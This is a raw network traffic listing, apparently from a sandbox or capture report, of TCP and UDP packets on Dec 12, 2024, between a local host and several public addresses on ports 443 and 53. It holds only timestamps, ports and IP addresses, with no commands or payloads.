Dec 12, 2024 12:09:35.252826929 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.261672020 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.261701107 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.261720896 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.261729002 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.261778116 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.262854099 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.265541077 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.265592098 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.265600920 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.267374039 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.267626047 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.267632961 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.267709017 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.267766953 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.267874002 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.267887115 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.296504021 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:35.296514034 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.296514034 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.296538115 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.405689001 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.405711889 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.405711889 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.405728102 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.405752897 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.405771971 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.552170992 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.552632093 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.552650928 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.552982092 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.553231001 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.553337097 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.553415060 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.553514004 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.553529978 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.554512978 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.554574013 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.554974079 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.555033922 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.608800888 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.608828068 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.608833075 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.608886957 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.608886957 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.796294928 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.491848946 CET	49814	443	192.168.2.5	166.1.160.237
Dec 12, 2024 12:09:38.491861105 CET	443	49814	166.1.160.237	192.168.2.5
Dec 12, 2024 12:09:38.492086887 CET	49814	443	192.168.2.5	166.1.160.237
Dec 12, 2024 12:09:38.499336004 CET	49814	443	192.168.2.5	166.1.160.237
Dec 12, 2024 12:09:38.499346018 CET	443	49814	166.1.160.237	192.168.2.5
Dec 12, 2024 12:09:38.499397039 CET	443	49814	166.1.160.237	192.168.2.5
Dec 12, 2024 12:09:50.048080921 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:50.048147917 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:50.048266888 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:50.049515009 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.049603939 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.049690008 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:50.050450087 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.050534964 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.050542116 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.050616980 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.050621033 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:50.050673008 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:50.051006079 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.051065922 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.051143885 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:50.054363012 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.054414034 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.054569960 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:50.358725071 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.358817101 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.358931065 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:50.359222889 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.359289885 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:50.359432936 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:26.467374086 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:26.467397928 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:26.467415094 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:26.467422962 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:26.467459917 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:26.467474937 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:26.467588902 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:26.467596054 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:31.966602087 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.966626883 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:31.966665030 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.966702938 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:31.966801882 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.966829062 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.359379053 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:32.359414101 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:32.359477043 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:32.359796047 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:32.359811068 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:33.146781921 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:33.146828890 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:33.146902084 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:33.147073030 CET	49966	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:33.147164106 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:33.147232056 CET	49966	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:33.147243977 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:33.147253036 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:33.147361040 CET	49966	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:33.147383928 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:33.569914103 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:33.570250034 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:33.570286036 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:33.571173906 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:33.571247101 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:33.572398901 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:33.572451115 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:33.623842955 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:33.623852968 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:33.670684099 CET	49962	443	192.168.2.5	23.44.201.5
Dec 12, 2024 12:10:34.377172947 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.377599955 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.377625942 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.377780914 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.377963066 CET	49966	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.377994061 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.378477097 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.378556967 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.378623962 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.378632069 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.378680944 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.379483938 CET	49966	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.379565954 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.379581928 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.379637003 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.420690060 CET	49966	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.420698881 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:34.420720100 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:34.467772961 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:35.059214115 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:10:35.059283018 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:10:39.698029041 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:39.698194027 CET	443	49965	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:39.698523045 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:39.698616028 CET	443	49966	3.33.186.135	192.168.2.5
Dec 12, 2024 12:10:39.698676109 CET	49966	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:39.698704004 CET	49965	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:10:52.962820053 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:52.962903976 CET	443	49962	23.44.201.5	192.168.2.5
Dec 12, 2024 12:10:52.963089943 CET	49962	443	192.168.2.5	23.44.201.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 12:08:58.967185974 CET	60540	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:08:59.381490946 CET	53	60540	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:27.110024929 CET	57726	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:27.110471010 CET	58438	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:29.555608034 CET	51039	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:29.556163073 CET	63825	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:29.736052036 CET	53	51572	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:31.964720964 CET	61551	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:31.964934111 CET	61595	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:31.983541965 CET	51023	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:31.983853102 CET	58902	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:31.984631062 CET	58759	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:31.984798908 CET	63863	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:32.047374010 CET	59496	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:32.047600031 CET	50173	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:32.102458000 CET	53	61551	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:32.120712996 CET	53	58902	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:32.121557951 CET	53	51023	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:32.122528076 CET	53	58759	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:32.123425007 CET	53	63863	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:32.126394033 CET	53	61595	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:32.184678078 CET	53	59496	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:32.184838057 CET	53	50173	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:34.032938004 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.035125971 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.342986107 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.343044043 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.957669973 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.967576981 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.120358944 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.120452881 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.120471954 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.120488882 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.120676994 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.120826006 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.120841980 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.123565912 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.123976946 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.124726057 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.126620054 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.128787041 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.132051945 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.132302999 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.272190094 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.281614065 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.281774998 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.296474934 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.441246986 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.441371918 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.441385031 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.441397905 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.441884995 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.442286015 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.442698956 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.442756891 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.442769051 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.442780018 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.443368912 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.443711996 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.445705891 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.446048021 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.596256018 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.599139929 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.611408949 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.613018990 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.613256931 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.756319046 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.757145882 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.782880068 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.782984972 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:36.887557030 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:36.887680054 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:36.931689024 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:36.931828022 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:37.203376055 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:37.229027987 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:37.232055902 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:37.232470989 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:37.246098042 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:37.247385025 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:37.258456945 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:37.258651018 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.088156939 CET	60767	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:38.158725977 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.159212112 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.160475016 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.161283016 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.474226952 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:38.474720001 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:38.475234985 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:38.475397110 CET	443	52337	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:38.475807905 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:38.475811958 CET	52337	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.477000952 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:38.477236986 CET	443	57711	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:38.477404118 CET	57711	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:38.488048077 CET	53	60767	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:38.500185966 CET	64114	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:38.812249899 CET	53	64114	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:38.813908100 CET	55582	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:39.032062054 CET	53	55582	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:39.033195019 CET	54472	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:39.258019924 CET	53	54472	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:39.259470940 CET	56761	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:39.488344908 CET	53	56761	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:39.489512920 CET	63762	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:39.711071014 CET	53	63762	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:39.713494062 CET	54649	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:39.936037064 CET	53	54649	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:39.937000036 CET	60188	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:40.156529903 CET	53	60188	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:40.235742092 CET	60839	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:40.454823971 CET	53	60839	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:40.470146894 CET	54425	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:40.689927101 CET	53	54425	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:40.690927982 CET	55618	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:40.914684057 CET	53	55618	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:40.918962002 CET	52190	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:41.143484116 CET	53	52190	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:41.146244049 CET	58494	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:41.369062901 CET	53	58494	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:41.370163918 CET	58337	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:41.680969954 CET	53	58337	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:41.682004929 CET	55768	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:41.993467093 CET	53	55768	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:41.994527102 CET	64075	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:42.394088984 CET	53	64075	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:42.395147085 CET	52217	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:42.811588049 CET	53	52217	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:42.813220024 CET	53474	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:43.031073093 CET	53	53474	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:43.032983065 CET	51941	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:43.252213955 CET	53	51941	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:43.253180981 CET	58598	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:43.471257925 CET	53	58598	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:43.472346067 CET	54661	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:43.692468882 CET	53	54661	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:43.693538904 CET	51601	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:43.918387890 CET	53	51601	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:43.919353962 CET	51077	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:44.144046068 CET	53	51077	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:44.145078897 CET	50270	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:44.371367931 CET	53	50270	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:44.372292995 CET	53622	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:44.689394951 CET	53	53622	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:44.690340042 CET	62207	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:45.000148058 CET	53	62207	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:45.001241922 CET	65063	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:45.222826958 CET	53	65063	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:45.223900080 CET	54819	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:45.448538065 CET	53	54819	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:45.449497938 CET	51699	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:45.763423920 CET	53	51699	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:45.764558077 CET	55775	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:45.981761932 CET	53	55775	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:45.982743025 CET	57036	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:46.213777065 CET	53	57036	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:46.214833021 CET	59275	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:46.527209997 CET	53	59275	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:46.528295040 CET	65406	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:46.748287916 CET	53	65406	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:46.749459982 CET	57037	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:47.060607910 CET	53	57037	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:47.061667919 CET	63856	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:47.282371998 CET	53	63856	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:47.283622026 CET	53215	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:47.603425980 CET	53	53215	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:47.604376078 CET	57913	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:47.824956894 CET	53	57913	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:47.825907946 CET	56861	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:48.045584917 CET	53	56861	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:48.046788931 CET	61666	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:48.265228987 CET	53	61666	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:48.266311884 CET	50429	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:48.487917900 CET	53	50429	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:48.488928080 CET	52412	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:48.706463099 CET	53	52412	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:48.707684040 CET	53464	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:48.926079988 CET	53	53464	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:48.927184105 CET	55323	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:49.151695967 CET	53	55323	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:49.152829885 CET	65455	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:49.379734993 CET	53	65455	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:49.381007910 CET	62660	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:49.604016066 CET	53	62660	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:49.605026960 CET	55915	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:49.916054010 CET	53	55915	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:49.916990042 CET	64206	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:50.135396957 CET	53	64206	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:50.136434078 CET	53063	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:50.361280918 CET	53	53063	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:50.368664026 CET	54183	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:50.589826107 CET	53	54183	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:50.591161966 CET	56256	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:50.817964077 CET	53	56256	1.1.1.1	192.168.2.5
